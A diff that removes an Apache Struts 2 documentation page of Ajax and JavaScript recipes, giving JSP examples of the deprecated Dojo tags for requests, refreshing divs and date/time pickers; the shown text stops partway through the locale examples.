@@ -1,1184 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Ajax and JavaScript Recipes</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="ajax-tags.html">Ajax Tags</a>&nbsp;&gt;&nbsp;<a href="ajax-and-javascript-recipes.html">Ajax and JavaScript Recipes</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Ajax and JavaScript Recipes</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=56182">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=56182">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=56182">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=56182">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=56182">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=56182">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-warning"><p class="title">Dojo plugin is deprecated</p><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>The Dojo plugin will be deprecated on Struts 2.1</p></div></div>
-
-<style type="text/css">/*<![CDATA[*/
-div.rbtoc1488974082612 {padding: 0px;}
-div.rbtoc1488974082612 ul {list-style: none;margin-left: 0px;padding-left: 20px;}
-div.rbtoc1488974082612 li {margin-left: 0px;padding-left: 0px;}
-
-/*]]>*/</style><div class="toc-macro rbtoc1488974082612">
-<ul class="toc-indentation"><li><a shape="rect" href="#AjaxandJavaScriptRecipes-Common">Common</a></li><li><a shape="rect" href="#AjaxandJavaScriptRecipes-Requests">Requests</a>
-<ul class="toc-indentation"><li><a shape="rect" href="#AjaxandJavaScriptRecipes-Requestistriggeredbyatopic">Request is triggered by a topic</a></li><li><a shape="rect" href="#AjaxandJavaScriptRecipes-Attachedtoanevent">Attached to an event</a></li><li><a shape="rect" href="#AjaxandJavaScriptRecipes-Attachedtoaneventonmultiplesources">Attached to an event on multiple sources</a></li><li><a shape="rect" href="#AjaxandJavaScriptRecipes-Attachedtomultipleeventsonmultiplesources">Attached to  [...]
-</li><li><a shape="rect" href="#AjaxandJavaScriptRecipes-Div">Div</a>
-<ul class="toc-indentation"><li><a shape="rect" href="#AjaxandJavaScriptRecipes-Loadsitscontentafterpageisloaded">Loads its content after page is loaded</a></li><li><a shape="rect" href="#AjaxandJavaScriptRecipes-Reloadscontentwhentopicispublished">Reloads content when topic is published</a></li><li><a shape="rect" href="#AjaxandJavaScriptRecipes-Updatesitscontentevery2seconds,showsindicatorwhileloadingcontent">Updates its content every 2 seconds, shows indicator while loading content</a [...]
-</li><li><a shape="rect" href="#AjaxandJavaScriptRecipes-DateandTimepicker">Date and Time picker</a>
-<ul class="toc-indentation"><li><a shape="rect" href="#AjaxandJavaScriptRecipes-Datepicker">Date picker</a></li><li><a shape="rect" href="#AjaxandJavaScriptRecipes-Timepicker">Time picker</a></li><li><a shape="rect" href="#AjaxandJavaScriptRecipes-SetvaluefromanString">Set value from an String</a></li><li><a shape="rect" href="#AjaxandJavaScriptRecipes-Setvaluefromstack(valuemustevaluatetoeitheraDate,Calendar,oranStringthatcanbeparsedusingtheformatsdefinedinSimpleDateFormat,andRFC3339)"> [...]
-</li><li><a shape="rect" href="#AjaxandJavaScriptRecipes-TabbedPanel">Tabbed Panel</a>
-<ul class="toc-indentation"><li><a shape="rect" href="#AjaxandJavaScriptRecipes-LocalTabs">Local Tabs</a></li><li><a shape="rect" href="#AjaxandJavaScriptRecipes-Localandremotetabs">Local and remote tabs</a></li><li><a shape="rect" href="#AjaxandJavaScriptRecipes-Fixedsize(sizedoesnotadjusttocurrenttab)">Fixed size (size does not adjust to current tab)</a></li><li><a shape="rect" href="#AjaxandJavaScriptRecipes-Donotloadtab2whenpageloads(itwillbeloadedwhenselected)">Do not load tab 2 whe [...]
-</li><li><a shape="rect" href="#AjaxandJavaScriptRecipes-Autocompleter">Autocompleter</a>
-<ul class="toc-indentation"><li><a shape="rect" href="#AjaxandJavaScriptRecipes-Fixedlist">Fixed list</a></li><li><a shape="rect" href="#AjaxandJavaScriptRecipes-Setinitialvalue">Set initial value</a></li><li><a shape="rect" href="#AjaxandJavaScriptRecipes-Forcevalidoption(restoreoptionwhenfocusislost)">Force valid option (restore option when focus is lost)</a></li><li><a shape="rect" href="#AjaxandJavaScriptRecipes-UsingtheJSONplugintogeneratethevalues(oneofthepossibleways)">Using the J [...]
-</li></ul>
-</div>
-
-
-<h4 id="AjaxandJavaScriptRecipes-Common">Common</h4>
-<p>All examples on this page assume the following JSP fragment is on the same page as the example.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;%@ taglib prefix="s" uri="/struts-tags" %&gt;
-&lt;%@ taglib prefix="sx" uri="/struts-dojo-tags" %&gt;
-
-&lt;head&gt;
-    &lt;sx:head /&gt;
-&lt;/head&gt;
-
-&lt;s:url id="url" value="/MyAction.action" /&gt;
-</pre>
-</div></div>
-
-<h4 id="AjaxandJavaScriptRecipes-Requests">Requests</h4>
-<h5 id="AjaxandJavaScriptRecipes-Requestistriggeredbyatopic">Request is triggered by a topic</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:submit value="Make Request" onclick="dojo.event.topic.publish('/request')" /&gt;
-&lt;sx:bind listenTopics="/request" href="%{#url}" /&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-Attachedtoanevent">Attached to an event</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:submit value="Make Request" id="submit" /&gt;
-&lt;sx:bind sources="submit" events="onclick" href="%{#url}" /&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-Attachedtoaneventonmultiplesources">Attached to an event on multiple sources</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:submit value="Make Request" id="submit0" /&gt;
-&lt;s:submit value="Make Request" id="submit1" /&gt;
-&lt;sx:bind sources="submit0,submit1" events="onclick" href="%{#url}" /&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-Attachedtomultipleeventsonmultiplesources">Attached to multiple events on multiple sources</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:textarea id="area0" /&gt;
-&lt;s:textarea id="area1" /&gt;
-&lt;sx:bind sources="area0,area1" events="onfocus,onchange" href="%{#url}" /&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-Updatetargetelementwithcontentreturnedfromurl">Update target element with content returned from url</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:div id="div" /&gt;
-
-&lt;!-- With a bind tag --&gt;
-&lt;s:submit value="Make Request" id="submit" /&gt;
-&lt;sx:bind targets="div" sources="submit" events="onclick" href="%{#url}" /&gt;
-
-&lt;!-- With a submit tag --&gt;
-&lt;sx:submit targets="div" value="Make Request" href="%{#url}" /&gt;
-
-&lt;!-- With an anchor tag --&gt;
-&lt;sx:a targets="div" value="Make Request" href="%{#url}" /&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-Updatemultipletargetelementswithcontentreturnedfromurl">Update multiple target elements with content returned from url</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:div id="div0" /&gt;
-&lt;s:div id="div1" /&gt;
-
-&lt;!-- With a bind tag --&gt;
-&lt;s:submit value="Make Request" id="submit" /&gt;
-&lt;sx:bind targets="div0,div1" sources="submit" events="onclick" href="%{#url}" /&gt;
-
-&lt;!-- With a submit tag --&gt;
-&lt;sx:submit targets="div0,div1" href="%{#url}" /&gt;
-
-&lt;!-- With an anchor tag --&gt;
-&lt;sx:a targets="div0,div1" href="%{#url}" /&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-Showindicatorwhilerequestisinprogress">Show indicator while request is in progress</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;img id="indicator" src="${pageContext.request.contextPath}/images/indicator.gif" style="display:none" /&gt;
-
-&lt;!-- With a bind tag --&gt;
-&lt;s:submit value="Make Request" id="submit" /&gt;
-&lt;sx:bind indicator="indicator" sources="submit" events="onclick" href="%{#url}" /&gt;
-
-&lt;!-- With a submit tag --&gt;
-&lt;sx:submit indicator="indicator" href="%{#url}" /&gt;
-
-&lt;!-- With an anchor tag --&gt;
-&lt;sx:a indicator="indicator" href="%{#url}" /&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-Highlightcontentoftargetwithbluecolor,for2seconds">Highlight content of target with blue color, for 2 seconds</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:div id="div" /&gt;
-
-&lt;!-- With a bind tag --&gt;
-&lt;s:submit value="Make Request" id="submit" /&gt;
-&lt;sx:bind highlightColor="blue" highlightDuration="2000" targets="div" sources="submit" events="onclick" href="%{#url}" /&gt;
-
-&lt;!-- With a submit tag --&gt;
-&lt;sx:submit highlightColor="blue" highlightDuration="2000" targets="div" href="%{#url}" /&gt;
-
-&lt;!-- With an anchor tag --&gt;
-&lt;sx:a highlightColor="blue" highlightDuration="2000" targets="div" href="%{#url}" /&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-ExecuteJavaScriptinthereturnedcontent">Execute JavaScript in the returned content</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;s:div id="div" /&gt;
-
-&lt;!-- With a bind tag --&gt;
-&lt;s:submit value="Make Request" id="submit" /&gt;
-&lt;sx:bind executeScripts="true" targets="div" sources="submit" events="onclick" href="%{#url}" /&gt;
-
-&lt;!-- With a submit tag --&gt;
-&lt;sx:submit executeScripts="true" targets="div" href="%{#url}" /&gt;
-
-&lt;!-- With an anchor tag --&gt;
-&lt;sx:a executeScripts="true" targets="div" href="%{#url}" /&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-Publishatopicbeforetherequest">Publish a topic before the request</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;script type="text/javascript"&gt;
-dojo.event.topic.subscribe("/before", function(event, widget){
-   alert('inside a topic event. before request');
-   //event: event object
-   //widget: widget that published the topic
-});
-&lt;/script&gt;
-
-&lt;!-- With a bind tag --&gt;
-&lt;s:submit value="Make Request" id="submit" /&gt;
-&lt;sx:bind beforeNotifyTopics="/before" sources="submit" events="onclick" href="%{#url}" /&gt;
-
-&lt;!-- With a submit tag --&gt;
-&lt;sx:submit beforeNotifyTopics="/before" href="%{#url}" /&gt;
-
-&lt;!-- With an anchor tag --&gt;
-&lt;sx:a beforeNotifyTopics="/before" href="%{#url}" /&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-Publishatopicaftertherequest">Publish a topic after the request</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;script type="text/javascript"&gt;
-dojo.event.topic.subscribe("/after", function(data, request, widget){
-   alert('inside a topic event. after request');
-   //data : text returned from request
-   //request: XMLHttpRequest object
-   //widget: widget that published the topic
-});
-&lt;/script&gt;
-
-&lt;!-- With a bind tag --&gt;
-&lt;s:submit value="Make Request" id="submit" /&gt;
-&lt;sx:bind afterNotifyTopics="/after" sources="submit" events="onclick" href="%{#url}" /&gt;
-
-&lt;!-- With a submit tag --&gt;
-&lt;sx:submit afterNotifyTopics="/after" href="%{#url}" /&gt;
-
-&lt;!-- With an anchor tag --&gt;
-&lt;sx:a afterNotifyTopics="/after" href="%{#url}" /&gt;
-</pre>
-</div></div>
-
-
-<h5 id="AjaxandJavaScriptRecipes-Publishatopiconerror">Publish a topic on error</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;script type="text/javascript"&gt;
-dojo.event.topic.subscribe("/error", function(error, request, widget){
-   alert('inside a topic event. on error');
-   //error : error object (error.message has the error message)
-   //request: XMLHttpRequest object
-   //widget: widget that published the topic
-});
-&lt;/script&gt;
-
-&lt;!-- With a bind tag --&gt;
-&lt;s:submit value="Make Request" id="submit" /&gt;
-&lt;sx:bind errorNotifyTopics="/error" sources="submit" events="onclick" href="%{#url}" /&gt;
-
-&lt;!-- With a submit tag --&gt;
-&lt;sx:submit errorNotifyTopics="/error" href="%{#url}" /&gt;
-
-&lt;!-- With an anchor tag --&gt;
-&lt;sx:a errorNotifyTopics="/error" href="%{#url}" /&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-Showafixederrormessageonerror">Show a fixed error message on error</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;div id="div" /&gt;
-
-&lt;!-- With a bind tag --&gt;
-&lt;s:submit value="Make Request" id="submit" /&gt;
-&lt;sx:bind errorText="Error Loading" targets="div" sources="submit" events="onclick" href="%{#url}" /&gt;
-
-&lt;!-- With a submit tag --&gt;
-&lt;sx:submit errorText="Error Loading" targets="div" href="%{#url}" /&gt;
-
-&lt;!-- With an anchor tag --&gt;
-&lt;sx:a errorText="Error Loading" targets="div" href="%{#url}" /&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-Preventarequest">Prevent a request</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;script type="text/javascript"&gt;
-dojo.event.topic.subscribe("/before", function(event, widget){
-   alert('I will stop this request');
-   event.cancel = true;
-});
-&lt;/script&gt;
-
-
-&lt;!-- With a bind tag --&gt;
-&lt;s:submit value="Make Request" id="submit" /&gt;
-&lt;sx:bind beforeNotifyTopics="/before" sources="submit" events="onclick" href="%{#url}" /&gt;
-
-&lt;!-- With a submit tag --&gt;
-&lt;sx:submit beforeNotifyTopics="/before" href="%{#url}" /&gt;
-
-&lt;!-- With an anchor tag --&gt;
-&lt;sx:a beforeNotifyTopics="/before" href="%{#url}" /&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-Submitaform(plainform)">Submit a form (plain form)</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;form id="form"&gt;
-  &lt;input type=textbox name="data"&gt;
-&lt;/form&gt;
-
-&lt;!-- With a bind tag --&gt;
-&lt;s:submit value="Make Request" id="submit" /&gt;
-&lt;sx:bind formId="form" sources="submit" events="onclick" href="%{#url}" /&gt;
-
-&lt;!-- With a submit tag --&gt;
-&lt;sx:submit formId="form" href="%{#url}" /&gt;
-
-&lt;!-- With an anchor tag --&gt;
-&lt;sx:a formId="form" href="%{#url}" /&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-Submitaform(usings:formtag)">Submit a form (using s:form tag)</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;!-- With a submit tag --&gt;
-&lt;s:form namespace="/mynamespace" action="MyAction"&gt;
-  &lt;input type=textbox name="data"&gt;
-  &lt;sx:submit /&gt;
-&lt;/s:form&gt;
-
-&lt;!-- With an anchor tag --&gt;
-&lt;s:form namespace="/mynamespace" action="MyAction"&gt;
-  &lt;input type=textbox name="data"&gt;
-  &lt;sx:a /&gt;
-&lt;/s:form&gt;
-</pre>
-</div></div>
-
-<h4 id="AjaxandJavaScriptRecipes-Div">Div</h4>
-<h5 id="AjaxandJavaScriptRecipes-Loadsitscontentafterpageisloaded">Loads its content after page is loaded</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;sx:div href="%{#url}"&gt;
-  Initial Content
-&lt;/sx:div&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-Reloadscontentwhentopicispublished">Reloads content when topic is published</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;sx:div href="%{#url}" listenTopics="/refresh"&gt;
-  Initial Content
-&lt;/sx:div&gt;
-
-&lt;s:submit value="Refresh" onclick="dojo.event.topic.publish('/refresh')" /&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-Updatesitscontentevery2seconds,showsindicatorwhileloadingcontent">Updates its content every 2 seconds, shows indicator while loading content</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;img id="indicator" src="${pageContext.request.contextPath}/images/indicator.gif" style="display:none"/&gt;
-&lt;sx:div href="%{#url}" updateFreq="2000"&gt;
-  Initial Content
-&lt;/sx:div&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-Loadsitscontentafteradelayof2seconds">Loads its content after a delay of 2 seconds</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;sx:div href="%{#url}" delay="2000"&gt;
-  Initial Content
-&lt;/sx:div&gt;
-</pre>
-</div></div>
-
-
-<h5 id="AjaxandJavaScriptRecipes-Showsometextwhilecontentisloaded">Show some text while content is loaded</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;sx:div href="%{#url}" loadingText="reloading" showLoadingText="true"&gt;
-  Initial Content
-&lt;/sx:div&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-Fixederrormessage">Fixed error message</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;sx:div href="noaction" errorText="Error loading content"&gt;
-  Initial Content
-&lt;/sx:div&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-ExecuteJavaScriptinthereturnedcontent.1">Execute JavaScript in the returned content</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;sx:div href="%{#url}" executeScripts="true"&gt;
-  Initial Content
-&lt;/sx:div&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-Controlrefreshtimerusingtopics">Control refresh timer using topics</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;sx:div href="%{#url}"
-        listenTopics="/refresh"
-	startTimerListenTopics="/startTimer"
-	stopTimerListenTopics="/stopTimer"
-	updateFreq="3000"&gt;
-  Initial Content
-&lt;/sx:div&gt;
-
-&lt;s:submit value="Refresh" onclick="dojo.event.topic.publish('/refresh')" /&gt;
-&lt;s:submit value="Start refresh timer" onclick="dojo.event.topic.publish('/startTimer')" /&gt;
-&lt;s:submit value="Stop refresh timer" onclick="dojo.event.topic.publish('/stopTimer')" /&gt;
-</pre>
-</div></div>
-
-<h4 id="AjaxandJavaScriptRecipes-DateandTimepicker">Date and Time picker</h4>
-<h5 id="AjaxandJavaScriptRecipes-Datepicker">Date picker</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;sx:datetimepicker name="picker" /&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-Timepicker">Time picker</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;sx:datetimepicker type="time" name="picker" /&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-SetvaluefromanString">Set value from an String</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;sx:datetimepicker value="%{'2007-01-01'}" name="picker" /&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-Setvaluefromstack(valuemustevaluatetoeitheraDate,Calendar,oranStringthatcanbeparsedusingtheformatsdefinedinSimpleDateFormat,andRFC3339)">Set value from stack (value must evaluate to either a Date, Calendar, or an String that can be parsed using the formats defined in SimpleDateFormat, and RFC 3339)</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;sx:datetimepicker value="date" name="picker" /&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-Set/GetvalueusingJavaScript">Set/Get value using JavaScript</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;script type="text/javascript"&gt;
-  function setValue() {
-     var picker = dojo.widget.byId("picker");
-     
-     //string value
-     picker.setValue('2007-01-01');
-     
-     //Date value
-     picker.setValue(new Date());
-  }
-  
-  function showValue() {
-     var picker = dojo.widget.byId("picker");
-     
-     //string value
-     var stringValue = picker.getValue();
-     alert(stringValue);
-      
-     //date value
-     var dateValue = picker.getDate();
-     alert(dateValue);
-  }
-&lt;/script&gt;
-
-&lt;sx:datetimepicker id="picker" /&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-Stylethetextbox">Style the textbox</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;sx:datetimepicker id="picker" cssStye="background:red" cssClass="someclass"/&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-Publishtopicwhenvaluechanges">Publish topic when value changes</h5>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;script type="text/javascript"&gt;
-  dojo.event.topic.subscribe("/value", function(text, date, widget){
-      alert('value changed');
-      //textEntered: String entered in the textbox
-      //date: JavaScript Date object with the value selected
-      //widget: widget that published the topic 
-  });
-&lt;/script&gt; 
-
-&lt;sx:datetimepicker label="Order Date" valueNotifyTopics="/value"/&gt;
-</pre>
-</div></div>
-
-<h5 id="AjaxandJavaScriptRecipes-Useotherlocales.">Use other locales. </h5>
-
-<div class="confluence-information-macro confluence-information-macro-warning"><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>Locales must be specified in the sx:head tag.</p></div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">
-&lt;sx:head extraLocales="en-us,nl-nl,de-de" /&gt;
-
-&lt;sx:datetimepicker label="In German" name="dddp7" value="%{'2006-06-28'}" language="de-de" /&gt;
